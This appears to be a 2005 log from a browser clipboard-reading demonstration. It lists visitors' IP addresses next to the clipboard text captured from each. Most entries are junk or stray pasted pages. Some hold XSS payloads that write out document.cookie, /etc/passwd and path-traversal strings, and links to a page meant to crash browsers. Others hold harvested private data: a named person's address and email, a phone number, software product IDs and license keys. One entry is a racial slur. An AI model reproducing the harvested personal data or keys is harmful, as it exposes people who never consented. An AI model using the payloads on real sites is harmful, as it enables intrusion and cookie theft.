------------------------------------------------- REMOTE_ADDR = 84.240.41.19 InternetasEl. pastasReklamaPagalbaDELFI.lvDELFI.ee DELFI geguþës 18 d., treèiadienis WEB A-ZMANO DELFIPaieska Turinys Dienos naujienos Verslas Verslo naujienos Transportas Media IT verslas Mokesèiai ir teisë Birþa Sportas Pramogos DELFI moterims Archyvas DELFI ðiandien DELFI ekstra Stovyklos Naudotø automobiliø prekyba Lengvieji automobiliai Sunkveþimiai Viskas apie skolas Skolø prevencija Skolø pirkimas Ámoniø katalogas Vieðbuèiai CVMarket.lt Ieðkantiems darbo Darbdaviams - akcija CV.lt Darbo pasiûlymai Foto.lt Spausdink nuotraukas Fotoprekës Karjeroscentras.lt Darbo skelbimai Darbdaviams Spec. pasiûlymai Autogidas.lt Lengvieji automobiliai Sunkveþimiai CV-Online Ieðkantiems darbo Darbdaviams Autoplius. Lyderio privalumai Lengvieji automobiliai Sunkveþimiai StarModel 2005 Registravimas DELFI paieðka Lietuvos WWW Ámonës DELFI naujienos DELFI Pramogos TV programos Filmai Koncertai/vakareliai Spektakliai Web A-Z DELFI Chat Horoskopai Valiutø kursai Valiutø skaièiuoklë Þaidimai / Humans Pokðtai Apie blondines Pikantiðki pokðtai El. atvirukai Verta aplankyti Kas yra RSS? Þinios > Verslas > IT verslas Iðplëstinë paieðka Lietuvos WWW Ámonës DELFI naujienos DVD diskai jau gaminami ir Lietuvoje Straipsnio komentarø skaièius: 2 Rûðiavimas: Aukðtyn Þemyn beside, 2005 05 18 16:57 dar neuztenka pigaus slamsto? :) da5das, 2005 05 18 16:48 Puiku! Gal ir DVD pigesni bus pagaliau, jei Lietuvoj pagaminti bus.. Sugráþti á straipsná Straipsniø komentarai Vardas El. paðtas Straipsnio komentarø skaièius: 2 Skaityti komentarus Kas yra komentarai? "DELFI" pasilieka teisæ paðalinti tuos skaitytojø komentarus, kurie yra nekultûringi, nesusijæ su tema, pasiraðyti kito asmens vardu, paþeidþia ástatymus, reklamuoja, kursto nelegaliems veiksmams. "DELFI" privalo informuoti specialiàsias Lietuvos tarnybas apie áþeidþianèiø, smurtà, rasinæ, tautinæ, religinæ ar kitokià neapykantà skatinanèiø komentarø autoriø duomenis. Taip pat gali tai padaryti savo iniciatyva. Informuokite redaktorius apie netinkamus komentarus. Verta dëmesio OptimalSite valgyt nepraðo! Antraðtës * DVD diskai jau gaminami ir Lietuvoje (2) * Lietuvoje - 58 proc. nelegalios programinës árangos (14) * "Sony" pristatë maþesnæ didelës raiðkos kamerà (4) * Du treèdaliai programinës árangos per ateinanèius 5 metus bus ásigyta nelegaliai (11) * “M2 technologijos” pristatë atnaujintà sprendimà interneto turinio valdymui (28) * Lietuvos, Latvijos ir Estijos telekomai perka "MicroLink" (37) * "ON kompiuteriai" ieðko naujo savininko arba partnerio (66) * "Eþio" pakuotës kaina - 99 centai (53) * "Microlink" pasiûlë duomenø saugojimà smulkiosioms ámonëms (16) * Mobiliojo ryðio operatoriai turës laikytis naujø ásipareigojimø (15) * Seimo interneto svetainë - jau pasiekiama (14) * "Microsoft" pristatë naujàjá "Xbox 360" (27) Verta aplankyti Kas yra DELFI? | Privatumas | Padarykite DELFI pirmuoju | Reklama | Kontaktai | Siûlome darbà Copyright © 1999-2005 DELFI. All rights reserved. | Atsakomybës apribojimas ------------------------------------------------- REMOTE_ADDR = 84.240.41.19 Resources IT Service Providing IT services like computer network design/administration, web/intranet server's administration, software programming on unix/windows platforms. Creating internet/intranet applications. If you are interested in these fields of cooperation, please email me: Tomas Vilda . Then we could discuss about your needs and I will show example of what I'm doing. Linux How to set-up PPP dialin and callback service [en] [lt] JAVA JAVA + SSL programming [en] WAP Modified WAP-IRC gateway by Tomas Vilda (originaly written by Alan Cox) [en] Software Adsense Simple - manage adsense account with a mouse! [en] TBarcode component for Borland C++ Builder [en] Car route generator [lt] HTML Macromedia Dreamweaver MX 6.1 windows-1257 code table patch [download] Misc What is VPN [en] Blog of Tomas Vilda aka beside [lt] IBM Scan Codes, EBCDIC Codes, ASCII Table, Extended ASCII Codes, HTML Codes [en] Fun Love Test - calculate your love between you and other person [en] Smiles on web and in real world [lt] © Tomas Vilda, 2003-2004 Top100.lt ------------------------------------------------- REMOTE_ADDR = 84.240.41.19

black

------------------------------------------------- REMOTE_ADDR = 67.104.24.99 text ------------------------------------------------- REMOTE_ADDR = 212.122.77.116 about:blank ------------------------------------------------- REMOTE_ADDR = 82.76.153.235 aaaaaaaaaaaaaaaaaaaaaaaaa ------------------------------------------------- REMOTE_ADDR = 81.181.70.11 muie ------------------------------------------------- REMOTE_ADDR = 81.181.70.11 bla ------------------------------------------------- REMOTE_ADDR = 81.181.70.11 asdffff ------------------------------------------------- REMOTE_ADDR = 212.93.159.31 esrertrtydtyufdt ------------------------------------------------- REMOTE_ADDR = 82.75.169.39 http://www.drunkmenworkhere.org/185 ------------------------------------------------- REMOTE_ADDR = 85.100.153.54 document.f.clipb.createTextRange().execCommand("Paste") ------------------------------------------------- REMOTE_ADDR = 80.126.35.174 80.126.35.174 ------------------------------------------------- REMOTE_ADDR = 85.65.131.214 ôööúé, îâðéáé" ------------------------------------------------- REMOTE_ADDR = 68.6.124.165 ["Javascript calls","","img/new4-038.gif"], ------------------------------------------------- REMOTE_ADDR = 67.126.6.47 what the hell ------------------------------------------------- REMOTE_ADDR = 172.216.200.183 hello ------------------------------------------------- REMOTE_ADDR = 203.101.103.2 that can be used in similar XSS attacks to the one above (this is the most ... ha.ckers.org/xss.html - 40k - 5 Jun 2005 - Cached - Similar pages Securing Your ASP.NET App Against Cross-site Scripting (XSS) Attacks Tutorials and Resouces for the ASP.Net Portal Developer. We focus on ASP.Net portals like DotNetNuke. Your complete source for ASP. www.wwwcoder.com/main/parentid/ 258/site/2885/68/default.aspx - 63k - Cached - Similar pages Application Security, Cross-Site Scripting, Top Ten Application ... ... The consequence of an XSS attack is the same regardless of whether it is ... were trying to access, they may be vulnerable to a reflected XSS attack. ... www.aspectsecurity.com/topten/xss.html - 27k - Cached - Similar pages XSS-Proxy: A tool for realtime XSS hijacking and control ... Here are my Shmoocon 2005 Powerpoint Slides on Advanced XSS attacks and XSS-Proxy Here is the latest draft of my XSS Attacks mini-whitepaper ... xss-proxy.sourceforge.net/ - 4k - Cached - Similar pages Cross Site Scripting Attacks XXS ... and the web site, or the attacker and the victim client, the XSS attack involves ------------------------------------------------- REMOTE_ADDR = 213.228.124.204 drg ------------------------------------------------- REMOTE_ADDR = 85.65.194.86 òáåãä áñôøåú-ðéúåç ùéø 1.îáåà: áçøúé áùéø æä îäñéáä ùàðé îñëéí àí äîñø ùìå, àåäá àú ñéâðåðå åàú ðåñåëúå. âðáúé ùéø æä îäàúø mp3music.co.il áìé øùåú. äééúé öøéê ìäåñéó ÷øãéè àê ìáì éôìðä äàñéîåï åäàúø éôåì ìà éäéä ì÷øãéè ùåí îùîòåú. îñøå ùì ùéø æä äåà îñø îâðéáé÷åìé, ÷åìéñúðé, åîâðéáéáéàåìåâé îäñéáä ùæä ùéø øàô. åëì îñø "ùææ*" ãøê øàô éåöà îâðéáé÷åìé. ðåùàå ùì ùéø æä äåà:îâéáéôéæé. åáéàåìåâéä ìà úñôé÷ ìê ëãé ìäáéï àú äùéø öøéê ìéäéåú îâðéáéáéàåìåâé. *îèôåøä ------------------------------------------------- REMOTE_ADDR = 85.65.194.86 in ------------------------------------------------- REMOTE_ADDR = 83.103.130.65 iiiii ------------------------------------------------- REMOTE_ADDR = 68.57.211.139 testing ------------------------------------------------- REMOTE_ADDR = 82.77.8.90 test1 test2 ------------------------------------------------- REMOTE_ADDR = 82.77.8.90 test1 test2asdasdasd ------------------------------------------------- REMOTE_ADDR = 82.77.8.90 adasdasdsad ------------------------------------------------- REMOTE_ADDR = 81.181.176.15 cvcvcv ------------------------------------------------- REMOTE_ADDR = 209.34.235.6 SQL Injection ------------------------------------------------- REMOTE_ADDR = 209.34.235.6 Not all malicious content is so filtering for < and > is not totally effective ------------------------------------------------- REMOTE_ADDR = 68.184.42.34 ="./imagecrash.jpg ------------------------------------------------- REMOTE_ADDR = 68.184.42.34 ut ------------------------------------------------- REMOTE_ADDR = 84.133.142.87 tadaa ------------------------------------------------- REMOTE_ADDR = 83.149.105.1 (If you don't see anything below you didn't have any text in your clipboard when you were on the previous page or you are not using IE) Your clipboard currently contains: ------------------------------------------------- REMOTE_ADDR = 141.157.53.51 shame..... ------------------------------------------------- REMOTE_ADDR = 154.20.250.71 meep meep ------------------------------------------------- REMOTE_ADDR = 81.180.114.93 asdffvlad ------------------------------------------------- REMOTE_ADDR = 212.48.33.5 ty ------------------------------------------------- REMOTE_ADDR = 193.138.219.139 test ------------------------------------------------- REMOTE_ADDR = 195.35.139.203 4 ------------------------------------------------- REMOTE_ADDR = 35.10.76.56 Monkeys aint got shit on me! ------------------------------------------------- REMOTE_ADDR = 212.199.229.6 Discografia - Paradise Lost ------------------------------------------------- REMOTE_ADDR = 212.199.229.6 when you ------------------------------------------------- REMOTE_ADDR = 67.71.230.131 zxcz ------------------------------------------------- REMOTE_ADDR = 80.96.200.100 mpfservice.ro/test ------------------------------------------------- REMOTE_ADDR = 201.1.85.104 © ® ¤ ¿ ½ ÷ Å ° ¢ § ± ² ³ • ™ œ Ÿ ¾ ¼ ª » « ¢ £ ¥ ¦ ¬ ¯ · ¹ º ž › ‹ ‰ Š ‡ † ª ß Þ Ø × æ ð ä ë ö ------------------------------------------------- REMOTE_ADDR = 207.55.232.242 cut and paste ------------------------------------------------- REMOTE_ADDR = 83.134.125.119 test ------------------------------------------------- REMOTE_ADDR = 85.98.39.40 merhaba ------------------------------------------------- REMOTE_ADDR = 85.98.39.40 /etc/passwd ------------------------------------------------- REMOTE_ADDR = 85.98.39.40 .././../././././etc/shadow/ ------------------------------------------------- REMOTE_ADDR = 85.186.193.25 proba ------------------------------------------------- REMOTE_ADDR = 213.54.220.164 h ------------------------------------------------- REMOTE_ADDR = 61.11.12.178 http://testing/resources/howtotell/en/office/results.aspx?pf=true ------------------------------------------------- REMOTE_ADDR = 61.11.12.178 Microsoft.com Home | Site Map Search Microsoft.com for: How to Tell Home | Genuine Microsoft Software How to Tell FAQProduct CategoriesCertificate of AuthenticityProduct ActivationCounterfeit SoftwareWorldwide SitesWindows Validation AssistantOffice Validation AssistantSoftware Piracy Protection Thank you for your time! Below are the results of your Office Validation Assistant scan. For the most comprehensive results, Microsoft recommends that you complete all three tools. If any of the results indicate a failure or are inconclusive, please see the "Steps you can take to protect yourself" section. Here are your results Office Validation Assistant: Failure Product: Microsoft Office Professional Edition 2003 Product ID: 73931-640-6030595-57962 The license for your copy of Office was issued to an organization and has certain usage limitations. You have indicated that you are a home user. Please contact your system administrator or reseller to confirm that Office has been properly licensed for your use. CD Comparison: Inconclusive You have indicated that your Office installation CD is not currently available. If you are able to locate your installation CD at a future time, you may return and complete the Genuine Office Comparison Guide. COA Comparison: Inconclusive You have indicated that your copy of Office was acquired through a Microsoft Volume License. If you have your installation CD, you can compare the special security features of the CD with those found on genuine Office Volume License media at the Volume Licensing page of the How to Tell Web site. If you do not have access to the installation CD, please use the Office Validation Assistant and to help determine whether the software is genuine. Steps you can take to protect yourself Microsoft recommends that you print a report of your results and take it to the company from which you purchased your copy of Office to rectify any issues. Print a report If you suspect that you have received counterfeit software, filing a report can help protect you and others from counterfeit software. Submit a counterfeit report to Microsoft You may also purchase genuine Office software from a retailer. Learn how to obtain genuine Office software More information View the resources below to learn more about the Office Validation Assistant, the costs and dangers of counterfeit software and what you can do to help stop counterfeiting. Frequently asked questions Why you should care about software counterfeiting What you can do about software counterfeiting Why use genuine Microsoft Office software? Genuine Office software is properly licensed and certified as authentic by Microsoft, and is supportable by Microsoft or a trusted partner. With genuine Office, you can be confident that you will have access to all the latest features and updates from Microsoft. Learn more about the benefits of genuine Office software. Note: The Office Validation Assistant and Genuine Office Comparison Guide do not collect any form of personally identifiable information from your computer. Office Validation Assistant privacy statement. How to Tell privacy statement. Printer-Friendly Version Send This Page Add to Favorites Comments Manage Your Profile |Contact Us ©2005 Microsoft Corporation. All rights reserved. Terms of Use |Trademarks |Privacy Statement ------------------------------------------------- REMOTE_ADDR = 24.109.19.202 jjk ------------------------------------------------- REMOTE_ADDR = 211.226.231.12 visual scope ------------------------------------------------- REMOTE_ADDR = 213.154.125.145 68.124.237.50 ------------------------------------------------- REMOTE_ADDR = 213.154.125.145 213.154.125.145 ------------------------------------------------- REMOTE_ADDR = 213.154.125.145 We didn't find any Web pages matching the query ------------------------------------------------- REMOTE_ADDR = 80.58.34.237 gf ------------------------------------------------- REMOTE_ADDR = 12.18.164.158 HTTP/1.1 400 Bad Request Date: Fri, 24 Jun 2005 23:35:41 GMT Server: Apache/2.0.52 (CentOS) Content-Length: 567 Connection: close Content-Type: text/html; charset=iso-8859-1 400 Bad Request

Bad Request

Your browser sent a request that this server could not understand.
Request header field is missing ':' separator.

......Credentials....(...password...nobody..userid...nobody.....amf_server_debug....`..


Apache/2.0.52 (CentOS) Server at worldchill.com Port 80
------------------------------------------------- REMOTE_ADDR = 70.81.107.93 ------------------------------------------------- REMOTE_ADDR = 70.81.107.93 anything below you didn't have ------------------------------------------------- REMOTE_ADDR = 82.79.240.119 nush ------------------------------------------------- REMOTE_ADDR = 82.79.240.119 asdfasdfasd ------------------------------------------------- REMOTE_ADDR = 207.134.18.153 test ------------------------------------------------- REMOTE_ADDR = 207.134.18.153 http://cmd.bypass..ha.ckers.org/ ------------------------------------------------- REMOTE_ADDR = 200.69.6.170 yrdy ------------------------------------------------- REMOTE_ADDR = 200.69.6.170 fuck you, nigger ------------------------------------------------- REMOTE_ADDR = 200.69.6.170 asf ------------------------------------------------- REMOTE_ADDR = 83.242.95.30 123 ------------------------------------------------- REMOTE_ADDR = 83.242.95.30 123123123123 ------------------------------------------------- REMOTE_ADDR = 24.166.243.41 http://www.petefinnigan.com/weblog/archives/00000417.htm ------------------------------------------------- REMOTE_ADDR = 81.210.104.2 sdf ------------------------------------------------- REMOTE_ADDR = 81.210.104.2 sdf ------------------------------------------------- REMOTE_ADDR = 83.199.41.154 op ------------------------------------------------- REMOTE_ADDR = 82.77.57.114 http://ha.ckers.org/imagecrash.html trimite acest mesaj la inca 5 prieteni fara a intra pe link, daca nu, ceva rau ti se va intampla in urmatoarele 3 minute. E probat, merge sigur... ------------------------------------------------- REMOTE_ADDR = 83.131.73.248 sad ------------------------------------------------- REMOTE_ADDR = 144.132.102.246 kkk ------------------------------------------------- REMOTE_ADDR = 144.132.102.246 If you plan to listen to music previews or buy music from the iTunes Music Store, a DSL, cable modem, or local area network (LAN) Internet connection is recommended. ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 http://www.mhhe.com/engcs/chemical/mccabe/instructor/sm.mhtml ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 saljkdddddddddddddddddd;a asdsad sad asd asd as dsa dsad ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 belo ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 nythin ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 ipboard ------------------------------------------------- REMOTE_ADDR = 203.197.24.195 eviou ------------------------------------------------- REMOTE_ADDR = 207.46.50.71 Interviews ghetoy… Mazya team madhye navin developers have aahet… Are you interested? ------------------------------------------------- REMOTE_ADDR = 81.180.167.159 gsdfgsdf ------------------------------------------------- REMOTE_ADDR = 81.255.93.141 z ------------------------------------------------- REMOTE_ADDR = 81.255.93.141 z813736 ------------------------------------------------- REMOTE_ADDR = 85.124.84.56 Winamp 5.09 Player Download ------------------------------------------------- REMOTE_ADDR = 131.193.189.81 yes ------------------------------------------------- REMOTE_ADDR = 202.142.216.162 Titan Security Toolkit ------------------------------------------------- REMOTE_ADDR = 83.27.57.108 http://www.programmersheaven.com/ ------------------------------------------------- REMOTE_ADDR = 205.227.137.1 "Registry key change requests for talkback merge module Description: The 6000 events need to be updated so that the registry keys are created under HKLM\Software\McAfee\VSCore\Events\0900 We use the four digit locale id of english, non american specific. This trend will continue for all other languages, except Chinese, to be able to distinguish between traditional and simplified. Additionally, it would be beneificial to put these registry keys and even the talkback installation files into the merge module and not have the merge module call an exe which installs the keys and files." ------------------------------------------------- REMOTE_ADDR = 151.205.86.210 '';!--"=&{()}--"=--"=--"= ------------------------------------------------- REMOTE_ADDR = 64.110.169.173 aHR0cDovL3d3dy5teXNwYWNlLmNvbS9wb29uZXJpemU ------------------------------------------------- REMOTE_ADDR = 64.110.169.173 bS9w ------------------------------------------------- REMOTE_ADDR = 154.20.144.129 goldenpalace.com ------------------------------------------------- REMOTE_ADDR = 82.119.133.171 pishi +79289336793 ------------------------------------------------- REMOTE_ADDR = 203.145.191.6 http://intranet.visualsoft-tech.com/login/login.aspx ------------------------------------------------- REMOTE_ADDR = 203.145.191.6 replace your Windows hosts file with this one ------------------------------------------------- REMOTE_ADDR = 12.41.194.121 the Geologic open-air festival in Illinois this ------------------------------------------------- REMOTE_ADDR = 67.124.249.20 %68%69 ------------------------------------------------- REMOTE_ADDR = 202.72.241.136 http://www.christopher-thomas.net/pages/free_tutorials/tut_ambient_occlusion ------------------------------------------------- REMOTE_ADDR = 81.155.163.217 lol ------------------------------------------------- REMOTE_ADDR = 195.198.88.2 RGR-GX3 ------------------------------------------------- REMOTE_ADDR = 195.198.88.2 fdgfgfggfgdg ------------------------------------------------- REMOTE_ADDR = 62.37.236.193 o.o ------------------------------------------------- REMOTE_ADDR = 67.83.17.190 ------------------------------------------------- REMOTE_ADDR = 81.244.168.79 aasdf ------------------------------------------------- REMOTE_ADDR = 212.44.94.140 rtrtre ------------------------------------------------- REMOTE_ADDR = 65.212.160.74 www.bright-shadows.net ------------------------------------------------- REMOTE_ADDR = 65.212.160.74 Hmm ------------------------------------------------- REMOTE_ADDR = 81.15.223.99 fghgfd ------------------------------------------------- REMOTE_ADDR = 213.144.254.18 mssql version ------------------------------------------------- REMOTE_ADDR = 82.93.72.12 images/firefox/google.gif ------------------------------------------------- REMOTE_ADDR = 69.197.187.8 netcat ------------------------------------------------- REMOTE_ADDR = 211.28.175.165 test ------------------------------------------------- REMOTE_ADDR = 81.196.124.209 qwdfl/welfkel wegfwelfk eflwkefl'k ------------------------------------------------- REMOTE_ADDR = 68.83.87.172 anything below you ------------------------------------------------- REMOTE_ADDR = 65.88.178.10 online reputation.txt ------------------------------------------------- REMOTE_ADDR = 131.107.137.40 C:\WINDOWS\LogFiles\Watchdog\050821_1610_01.wdl ------------------------------------------------- REMOTE_ADDR = 194.153.172.34 http://www.aegilium.it/ ------------------------------------------------- REMOTE_ADDR = 24.179.151.109 huh ------------------------------------------------- REMOTE_ADDR = 24.190.34.206 xd ------------------------------------------------- REMOTE_ADDR = 67.81.152.219 km;k ------------------------------------------------- REMOTE_ADDR = 67.81.152.219 nln;n ------------------------------------------------- REMOTE_ADDR = 209.89.124.155 cheese ------------------------------------------------- REMOTE_ADDR = 209.89.124.155 i will eat you ------------------------------------------------- REMOTE_ADDR = 68.37.12.10 http://www.timdorr.com/images/huge.jpg ------------------------------------------------- REMOTE_ADDR = 212.70.194.21 :) ------------------------------------------------- REMOTE_ADDR = 68.184.42.34 you ------------------------------------------------- REMOTE_ADDR = 82.208.156.136 tppabs ------------------------------------------------- REMOTE_ADDR = 71.102.224.236 boggle ------------------------------------------------- REMOTE_ADDR = 84.12.193.21 thi ------------------------------------------------- REMOTE_ADDR = 84.12.193.21 thighjlo ------------------------------------------------- REMOTE_ADDR = 84.160.203.19 xxx ------------------------------------------------- REMOTE_ADDR = 71.110.230.3 pee pee? ------------------------------------------------- REMOTE_ADDR = 71.110.230.3 pee pee? hack shit for meh? ------------------------------------------------- REMOTE_ADDR = 83.25.234.226 59ca90243a90d4cb0f856c073ef8ca6a index.php? Cross-Site Request Forgeries (CSRF) Opera Operating System Registration Code Windows w-EazHi-dJrQy-exRru-Mkytr-riYkU Linux Intel u-mT53i-NKnwy-CvTKu-7z37p-Nf4EU Linux PowerPC p-syRFh-renbx-p8b7v-yk6Ln-fY6kT Linux Sparc k-w533h-nNUwz-eSt6u-Cf3Lp-rDAYU FreeBSD f-ydD3f-FkfQx-VYxLw-hed7m-8kkYT ------------------------------------------------- REMOTE_ADDR = 83.25.234.226 Nazwa aukcji: Aktualizacje MS Office i WXP ! (numer 60697319) Cena Kup Teraz: 9,00 z³ Kupiona przez Ciebie liczba sztuk: 1 Kwota do zap³aty: 9,00 z³ Aby dokoñczyæ transakcjê, skontaktuj siê ze Sprzedaj¹cym poprzez e-mail b¹dŸ telefonicznie. Dane kontaktowe Sprzedaj¹cego: Danuta Ka³u¿a Dakota208 (11) Adres: Zborowiecka 208 63-430 Odolanów tel. e-mail: dk@osw.pl ------------------------------------------------- REMOTE_ADDR = 81.243.190.227 Joey Ramone in 1942 in 1811 wait for? Come on! Thaksgiving ------------------------------------------------- REMOTE_ADDR = 68.239.246.210 ihikjoj ------------------------------------------------- REMOTE_ADDR = 68.239.246.210 la ------------------------------------------------- REMOTE_ADDR = 82.208.166.81 zzzzzzz ------------------------------------------------- REMOTE_ADDR = 194.114.148.27 hjk ------------------------------------------------- REMOTE_ADDR = 194.114.148.27 C:\Program Files\BitComet\Downloads ------------------------------------------------- REMOTE_ADDR = 203.197.250.134 test ------------------------------------------------- REMOTE_ADDR = 203.197.250.134 testtesttesttesttest ------------------------------------------------- REMOTE_ADDR = 213.58.242.221 www.showmyip.com ------------------------------------------------- REMOTE_ADDR = 200.207.140.232 dgm2. ------------------------------------------------- REMOTE_ADDR = 201.9.39.253 gfc ------------------------------------------------- REMOTE_ADDR = 195.157.131.29 0xd9.0xcc.0x74.0x3a ------------------------------------------------- REMOTE_ADDR = 24.215.218.97 ff ------------------------------------------------- REMOTE_ADDR = 66.108.7.171 if (!strncasecmp($url, 'javascript', 10)) { $url = '#'; // bad URL, remove it. } ------------------------------------------------- REMOTE_ADDR = 66.108.7.171 http://www.bongvodka.com/images/bongvodka_04.gif ------------------------------------------------- REMOTE_ADDR = 66.108.7.171 meanwhile I gotta figue out how to stop Cross-Site Scripting when bitches put base64 encoded javascript into a web form. UGLY. ------------------------------------------------- REMOTE_ADDR = 66.108.7.171 confirm ------------------------------------------------- REMOTE_ADDR = 193.149.44.10 http://216.69.180.99/gangwars/inbox.php ------------------------------------------------- REMOTE_ADDR = 80.58.9.113 zdvcz ------------------------------------------------- REMOTE_ADDR = 80.58.9.113 zdvczxzczcz ------------------------------------------------- REMOTE_ADDR = 65.93.207.42 at ------------------------------------------------- REMOTE_ADDR = 193.77.229.43 4547 ------------------------------------------------- REMOTE_ADDR = 67.113.99.253 This site provides free project hosting for the Mozilla community. Everyone is welcome to take a look at the more than 200 active projects hosted on the site or to start your own development project. ------------------------------------------------- REMOTE_ADDR = 85.178.127.57 http://ha.ckers.org/cutandpaste.htmlsdfsdf ------------------------------------------------- REMOTE_ADDR = 70.64.60.246 you don't see anything below you didn't ------------------------------------------------- REMOTE_ADDR = 70.64.60.246 you are not using IE ------------------------------------------------- REMOTE_ADDR = 207.46.50.74 C:\Ramesh-TestMachine\Samples ------------------------------------------------- REMOTE_ADDR = 12.26.226.250 asd ------------------------------------------------- REMOTE_ADDR = 12.26.226.250 testing, 1, 2, 3 ------------------------------------------------- REMOTE_ADDR = 85.65.66.98 דגכ ------------------------------------------------- REMOTE_ADDR = 69.22.246.104 hg ------------------------------------------------- REMOTE_ADDR = 147.84.5.40 ghfg ------------------------------------------------- REMOTE_ADDR = 66.36.133.32 test ------------------------------------------------- REMOTE_ADDR = 69.47.126.195 test ------------------------------------------------- REMOTE_ADDR = 24.17.183.82 195.182.142.186 ------------------------------------------------- REMOTE_ADDR = 24.17.183.82 195.182.142.186 ------------------------------------------------- REMOTE_ADDR = 69.165.218.51 ddd ------------------------------------------------- REMOTE_ADDR = 69.86.153.32 k ------------------------------------------------- REMOTE_ADDR = 24.105.206.236 http://themusicofmygroin.ytmnd.com/ ------------------------------------------------- REMOTE_ADDR = 69.86.153.32 ok ------------------------------------------------- REMOTE_ADDR = 200.221.62.227 200.193.234.38 ------------------------------------------------- REMOTE_ADDR = 82.72.1.138 66666666 ------------------------------------------------- REMOTE_ADDR = 200.221.62.227 boa ------------------------------------------------- REMOTE_ADDR = 24.205.53.130 boo ------------------------------------------------- REMOTE_ADDR = 82.72.1.138 66666666 ------------------------------------------------- REMOTE_ADDR = 69.235.226.44 aa ------------------------------------------------- REMOTE_ADDR = 69.132.133.84 195.182.145.2 ------------------------------------------------- REMOTE_ADDR = 70.236.167.196 Dns resolved irc.mygeekspace.com ------------------------------------------------- REMOTE_ADDR = 141.168.111.216 kjkj ------------------------------------------------- REMOTE_ADDR = 141.168.111.216 http://themusicofmygroin.ytmnd.com/ ------------------------------------------------- REMOTE_ADDR = 211.28.240.149 blah@gmail.com ------------------------------------------------- REMOTE_ADDR = 68.190.232.169 http://img150.imageshack.us/img150/1452/untitled18gg.png http://img150.imageshack.us/img150/2489/untitled27lq.png http://img150.imageshack.us/img150/8947/untitled32hh.png http://img150.imageshack.us/img150/2845/untitled47pi.png http://img150.imageshack.us/img150/4091/untitled2mp.png ------------------------------------------------- REMOTE_ADDR = 71.110.240.152 hfgh ------------------------------------------------- REMOTE_ADDR = 62.252.224.25 :P ------------------------------------------------- REMOTE_ADDR = 84.146.251.94 olo ------------------------------------------------- REMOTE_ADDR = 80.164.105.139 dsfsf ------------------------------------------------- REMOTE_ADDR = 24.160.70.102 [NaÞ§Te®][§¢®iÞT] ------------------------------------------------- REMOTE_ADDR = 69.22.246.230 [00:08] suff0cated: If you want to crash your computer, go here: [00:08] suff0cated: http://69.22.246.230/pics/ [00:09] Shinigami Itachi: http://69.22.246.230/pics/ [00:09] Shinigami Itachi: http://69.22.246.230/pics/ [00:09] Shinigami Itachi: http://69.22.246.230/pics/ [00:09] Shinigami Itachi: http://69.22.246.230/pics/ [00:09] Shinigami Itachi: http://69.22.246.230/pics/ ------------------------------------------------- REMOTE_ADDR = 203.213.198.129 Comments Diane writes: Was trying the test cases at ha.ckers.org/xss.html and found one that worked. Thought you might be interested: Posted on Fri, 16 Sep 2005 at 20:27:56 GMT Chris Shiflett writes: ------------------------------------------------- REMOTE_ADDR = 216.54.250.101 Rsnake, I saw what you did and I know who you are! ------------------------------------------------- REMOTE_ADDR = 81.76.89.247 hello ------------------------------------------------- REMOTE_ADDR = 200.204.104.165 hiting F5 or shift refresh ------------------------------------------------- REMOTE_ADDR = 218.20.251.33 width=1px ------------------------------------------------- REMOTE_ADDR = 218.20.251.33 Äã¿ÉÒÔµã»÷ÏÂÃæÕâ¸öÍøÖ·£¨ÎÒ²¢·ÇÊÇÓÃÕâ¸ö·½Ê½³Í·£dajiziµÄ£©£º ------------------------------------------------- REMOTE_ADDR = 203.173.51.122 aa ------------------------------------------------- REMOTE_ADDR = 203.173.51.122 ccffddff ------------------------------------------------- REMOTE_ADDR = 86.200.251.147 1 The Grand Canyon 2 Great Barrier Reef 3 Florida 4 South Island 5 Cape Town 6 Golden Temple 7 Las Vegas 8 Sydney 9 New York 10 Taj Mahal 11 Canadian Rockies 12 Uluru 13 Chichen Itza - Mexico 14 Machu Picchu - Peru 15 Niagara Falls 16 Petra - Jordan 17 The Pyramids - Egypt 18 Venice 19 Maldives 20 Great Wall of China 21 Victoria Falls - Zimbabwe 22 Hong Kong 23 Yosemite National Park 24 Hawaii 25 Auckland - New Zealand 26 Iguassu Falls 27 Paris 28 Alaska 29 Angkor Wat - Cambodia 30 Himalayas - Nepal 31 Rio de Janeiro - Brazil 32 Masai Mara - Kenya 33 Galapagos Islands - Ecuador 34 Luxor - Egypt 35 Rome 36 San Francisco 37 Barcelona 38 Dubai 39 Singapore 40 La Digue - Seychelles 41 Sri Lanka 42 Bangkok 43 Barbados 44 Iceland 45 Terracotta Army - China 46 Zermatt - Switzerland 47 Angel Falls - Venezuela 48 Abu Simbel - Egypt 49 Bali 50 French Polynesia ------------------------------------------------- REMOTE_ADDR = 61.88.101.122 <'script'>alert(0)<'/script'> document.write(document.cookie); \\> \\>< \\><< \\><>document.write(document.cookie); <'>document.write(document.cookie); <';document.write(document.cookie); <'script'>;document.write(document.cookie); <' script '>;document.write(document.cookie); < script '>;document.write(document.cookie); < script >;document.write(document.cookie); < script >;document.write(document.cookie); document.write(document.cookie) ------------------------------------------------- REMOTE_ADDR = 211.26.33.135 kane ------------------------------------------------- REMOTE_ADDR = 211.26.33.135 http://www.kane666.byethost33.com/logoff.txt ------------------------------------------------- REMOTE_ADDR = 211.26.33.135 https://addons.mozilla.org/themes/moreinfo.php?id=1390&application=firefox ------------------------------------------------- REMOTE_ADDR = 172.171.41.22 dani7ok: ba esti nebun ? dani7ok: mi sa restarat calc Zorg nemuritoru !: pai ? Zorg nemuritoru !: de ce dani7ok has signed back in. (13/11/2005 21:47) dani7ok: si mai e si pe safe mode dani7ok: al dreaq !!!!!!! Zorg nemuritoru !: pai ce ai facut Zorg nemuritoru !: ? dani7ok: am deschis site`u dani7ok: Zorg nemuritoru !: pai ce are ma 3 poze Zorg nemuritoru !: cu calculatoru Zorg nemuritoru !: de la atlceva ti sa restartat dani7ok: cred dani7ok: stai sa mai ma uit odata dani7ok: ;> Zorg nemuritoru !: k ------------------------------------------------- REMOTE_ADDR = 211.232.168.129 00:D0:B7:89:E2:E2 ------------------------------------------------- REMOTE_ADDR = 211.232.168.129 µµ¸ÞÀÎ 